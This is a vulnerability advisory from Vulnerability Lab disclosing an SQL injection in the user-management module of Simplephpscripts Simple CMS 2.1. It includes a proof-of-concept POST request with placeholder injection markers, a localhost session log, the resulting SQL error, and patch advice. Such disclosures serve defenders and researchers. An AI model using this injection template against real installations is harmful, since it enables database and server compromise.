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# Exploit Title: Simplephpscripts Simple CMS 2.1 - 'Multiple' SQL Injection
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# Date: 2021-10-19
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# Exploit Author: Vulnerability Lab
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# Vendor Homepage: https://simplephpscripts.com/simple-cms-php
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# Version: 2.1
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# Tested on: Linux
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Document Title:
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===============
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Simplephpscripts Simple CMS v2.1 - SQL Injection
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References (Source):
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====================
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https://www.vulnerability-lab.com/get_content.php?id=2303
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Release Date:
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=============
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2021-10-19
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Vulnerability Laboratory ID (VL-ID):
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====================================
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2303
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Common Vulnerability Scoring System:
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====================================
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7.1
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Vulnerability Class:
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====================
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SQL Injection
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Current Estimated Price:
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========================
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500€ - 1.000€
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Product & Service Introduction:
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===============================
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The system could be used only in already existing websites to control their page sections and contents.
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Just paste a single line of code on your web page section and start controlling it through the admin area.
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Very simple installation - one step installation wizard. Option to include contents into web page sections
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through php include, javascript or iframe embed. Any language support. WYSIWYG(text) editor to styling and
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format contents of the sections. Suitable for web designers who work with Mobirise, Xara and other web builders.
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(Copy of the Homepage: https://simplephpscripts.com/simple-cms-php )
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Abstract Advisory Information:
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==============================
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The vulnerability laboratory core research team discovered a remote sql-injection web vulnerability in the Simplephpscripts Simple CMS v2.1 web-application.
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Affected Product(s):
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====================
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Simplephpscripts
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Product: Simple CMS v2.1 - Content Management System (Web-Application)
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Vulnerability Disclosure Timeline:
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==================================
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2021-09-03: Researcher Notification & Coordination (Security Researcher)
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2021-09-04: Vendor Notification (Security Department)
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2021-**-**: Vendor Response/Feedback (Security Department)
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2021-**-**: Vendor Fix/Patch (Service Developer Team)
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2021-**-**: Security Acknowledgements (Security Department)
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2021-10-19: Public Disclosure (Vulnerability Laboratory)
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Discovery Status:
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=================
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Published
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Exploitation Technique:
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=======================
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Remote
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Severity Level:
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===============
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High
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Authentication Type:
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====================
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Restricted Authentication (Moderator Privileges)
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User Interaction:
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=================
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No User Interaction
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Disclosure Type:
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================
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Independent Security Research
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Technical Details & Description:
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================================
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A remote sql-injection vulnerability has been discovered in the official creative zone web-application.
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The vulnerability allows remote attackers to inject or execute own sql commands to compromise the dbms
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or file system of the application.
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The sql-injection web vulnerability is located in the `newUser` and `editUser` function of the `users` module in
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the `admin.php` file. Remote attackers with privileged access to the panel are able to add users. If a user account
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already exists like for example the admin account, each add of the same name or email values results in a unfiltered
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mysql exception. The exception is not filtered and sanitized. Thus allows privileged attackers to inject and execute
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own sql commands on the affected database management system to compromise. The request method to inject is post and
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the attack vector is non-persistent.
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Exploitation of the sql injection vulnerability requires user interaction and a privileged web-application user account.
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Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.
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Request Method(s):
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[+] POST
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Vulnerable Module(s):
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[+] newUser
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[+] editUser
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Vulnerable File(s):
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[+] admin.php?act=users
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Vulnerable Input(s):
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[+] Name
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[+] Username
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[+] Password
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Vulnerable Parameter(s):
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[+] name
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[+] username
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[+] password
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Affected Module(s):
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[+] Users (act=users) (Backend)
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Proof of Concept (PoC):
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=======================
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The remote sql-injection web vulnerability can be exploited by remote attackers with privileged account and without user interaction.
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For security demonstration or to reproduce the sql injection vulnerability follow the provided information and steps below to continue.
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PoC: Example
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act=addUser&name=[ADD EXISITING DEFAULT VALUE!]&email=test@test.de&username=[ADD EXISITING DEFAULT VALUE!]&password=[ADD EXISITING DEFAULT VALUE!]&submit=Add User
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PoC: Exploitation
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act=addUser&name=[ADD EXISITING DEFAULT VALUE]-[SQL-INJECTION!]'&email=test@test.de&username=[ADD EXISITING DEFAULT VALUE]-[SQL-INJECTION!]'&password=a-1'&submit=Add User
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--- PoC Session Logs (POST) ---
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https://simple-cms.localhost:8000/simplecms/admin.php
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Host: simple-cms.localhost:8000
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Referer: https://simple-cms.localhost:8000/simplecms/admin.php?act=newUser
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 132
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Origin: https://simple-cms.localhost:8000
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Connection: keep-alive
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Cookie: PHPSESSID=9smae9mm1m1misttrp1a2e1p23
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act=addUser&name=[ADD EXISITING DEFAULT VALUE]-[SQL-INJECTION!]'&email=test@test.de&username=[ADD EXISITING DEFAULT VALUE]-[SQL-INJECTION!]'&password=[ADD EXISITING DEFAULT VALUE]-[SQL-INJECTION!]'&submit=Add User
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-
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POST: HTTP/2.0 200 OK
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server: Apache
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content-length: 1224
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content-type: text/html; charset=UTF-8
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--- SQL Error Exception Logs ---
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Error: SELECT * FROM cms2_users WHERE username='a%20-1'
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Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '%20-1'' at line 1
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Solution - Fix & Patch:
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=======================
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1. Disallow sql-errors to be displayed in the frontend and backend. Disable to redisplay the broken or malicious query on client-side.
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2. Use prepared statement to protect the sql query of the post method request
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3. Restrict the post parameters by disallow the usage of special chars with single or double quotes
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4. Setup a filter or validation class to deny broken or manipulated sql queries
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Credits & Authors:
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==================
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Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
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Disclaimer & Information:
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=========================
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The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
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either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
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or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
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or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
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not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
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We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
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Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™
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--
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VULNERABILITY LABORATORY (VULNERABILITY LAB)
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RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE
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LUDWIG-ERHARD STRAßE 4
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34131 KASSEL - HESSEN
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DEUTSCHLAND (DE) |